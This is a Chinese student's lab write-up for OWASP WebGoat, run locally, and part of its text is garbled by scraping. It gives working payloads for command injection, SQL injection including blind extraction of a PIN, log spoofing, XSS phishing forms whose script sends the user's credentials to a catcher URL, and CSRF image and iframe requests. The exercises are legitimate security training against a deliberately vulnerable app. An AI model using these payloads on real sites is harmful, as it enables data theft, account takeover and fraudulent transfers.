原理:javascript
防护:html
原理:前端
防护:java
原理:git
防护:github
返回目录web
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操做隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。正则表达式
java -jar webgoat-container-7.0.1-war-exec.jar
.当显示以下图的Starting ProtocolHandler ["http-bio-8080"]
时,可进行下一步操做。使用过程当中不要关闭终端。
数据库
浏览器打开http://127.0.0.1:8080/WebGoat/login.mvc
,以下图有登陆的帐号和密码,用guest登陆便可。
登陆后便可看到以下图所示的各个实验教程。solution
是答案,hints
是提示。
右键表单选择框的下拉框,选择Inspect Element(Q),而后修改源代码。
"& netstat -an & ipconfig"
。选择这个修改后的选项,点击View
能够发如今这个页面中能看到网络端口使用状况和IP地址。经过这种方式实现了攻击。
若是不攻击的话,是下图的状况。
(2)数字型SQL注入(Numeric SQL Injection)
SELECT * FROM weather_data WHERE station = [station]
Inspect Element(Q)
,而后修改源代码。在某个选项的value
值后面,加上代码 or 1=1
,使该式子成为永真式。
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
。因为后面是永真式,这样会执行语句 SELECT * FROM weather_data
,能够查询到全部的信息。
admin
的用户在日志中显示“成功登陆”。升级您的攻击,例如:在日志文件中插入脚本。在user name
一栏中输入DQY Login Succeeded for username: admin
,密码随意输入。提交后能够发现,灰色区域的用户名后面的信息会在同一行显示,而不是在新的一行。
还能够往该应用中注入回车(0D%)
和换行符(%0A)
。在 username
中填入20165114%0d%0aLogin Succeeded for username: admin
,这样就完成了该课程.
攻击者还能够利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员可以经过浏览器看到。若是把admin <script>alert(document.cookie)</script>
做为用户名输入,可以得到登陆用户的cookie
。
(4)字符串型注入(String SQL Injection)
因为密码的长度有限制,因此咱们先修改密码输入框的容许输入长度。将maxlength
设置为20甚至更大。
能够用admin
的身份登陆,密码框里输入' or 1=1 --
,而后就能成功以Necille
的身份登陆成功。能够查看任意用户的信息等等。
能够编辑用户信息、删除信息等等。注入成功。
(5)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
首先使用用户名Larry
和密码larry
登陆,浏览员工信息的按钮是ViewProfile
。
在员工ID:101后面加上or 1=1 order by salary desc
进行SQL注入排序,其中desc
表示使用降序排列。
以下图,看见了老板的信息,还能够修改,攻击成功。
(6)数字型盲注入(Blind Numeric SQL Injection)
SELECT * FROM user_data WHERE userid=accountNumber;
101 AND 1=1
101 AND 1=2
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
PIN>10000
不然PIN<=10000
。不断调整数值,能够缩小判断范围,并最终判断出 PIN 数值的大小。101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
2364
并提交,经过本节课程。
(7)字符串型盲注入(Blind String SQL Injection)
varchar
。101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
该语句使用了SUBSTRING方法,取得pin字段数值的第一个字母,并判断其是否比字母“H”小。SUBSTRING 语法以下:SUBSTRING(STRING,START,LENGTH)
通过屡次测试(比较0-9A-Za-z等字符串)和页面的返回数据,判断出第一个字符为“J”
。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) <'h' );
最终,判断出pin字段的值为:Jill
。提交该值,经过本节课程。
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
3 搜索这段代码,您就能看到页面中增长了一个表单。
4 如今您须要一段脚本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " +document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" +document.forms[0].pass.value + ""; } </script>
5 最后,就是要将这两段代码合并。最终须要输入的代码以下:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
6 这段代码会读取您在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat。
(2)存储型XSS攻击(Stored XSS Attacks)
title
中任意输入字符。在Message
中输入如下代码:<script>alert('20165114')</script>
。20165114
,证实 XSS 攻击成功。3 或者更为复杂的,若是用如下的代码。
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack() { XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
4 点击连接以后,会出现黄色、橙色、灰色的div滑块,下面还会出现输入用户名和密码的表单。
5 若是受害者输入就会成功被截获用户名和密码。以下图:
(3)反射型XSS攻击(Reflected XSS Attacks)
1 在Enter your three digit access code
中输入以下代码:<script>alert('you are a loser!')</script>
。
2 点击Purchase
,成功显示警告框,内容为咱们script脚本写的you are a loser!
。攻击成功。
(1)跨站请求伪造(Cross Site Request Forgery (CSRF))
- 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。以下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
。
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会获得一个图片,但其实是一种资金转移功能。该请求将包括与网站相关的任何cookies。所以,若是用户已经经过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是不是一个从合法用户发出的请求。经过这种方法,攻击者可让受害者执行一些他们原本没打算执行的操做,如注销、采购项目或者这个脆弱的网站提供的任何其余功能。- 目的:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的 URL 指向一个恶意请求。尝试一个包括 1*1像素的图像,其中包含一个网址。这个URL应当用一个额外的参数“transferFunds= 4000”指向CRSF课程页面。您能够经过左侧菜单在CSRF课程链接上右键单击,选择复制快捷方式。不管谁收到这封邮件,并刚好已经经过身份验证,他的资金将会被转走。
- 注意:不一样 WebGoat 环境的URL中“Screen ”和“Menu”参数可能会有所区别。请使用当前访问 URL 中正在使用的参数。
根据当前访问 URL中的scr和menu在消息框中嵌入 HTML 代码。这段代码中包含一个图片,连接到一个网站。<img src="http://localhost/WebGoat/attack?Screen=273&menu=2900&transferFunds=5000" width="1" height="1" />
。
提交后会发现连接,点击该连接。
点击该连接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了。
(2)绕过CSRF确认(CSRF Prompt By‐Pass)
<iframe src="attack?Screen=277&menu=900&transferFunds=5114"> </iframe> <iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
前端安全系列(一):如何防止XSS攻击?
CSRF 攻击原理和防护方法
总结 XSS 与 CSRF 两种跨站攻击
WebGoat+中文手册+v2.2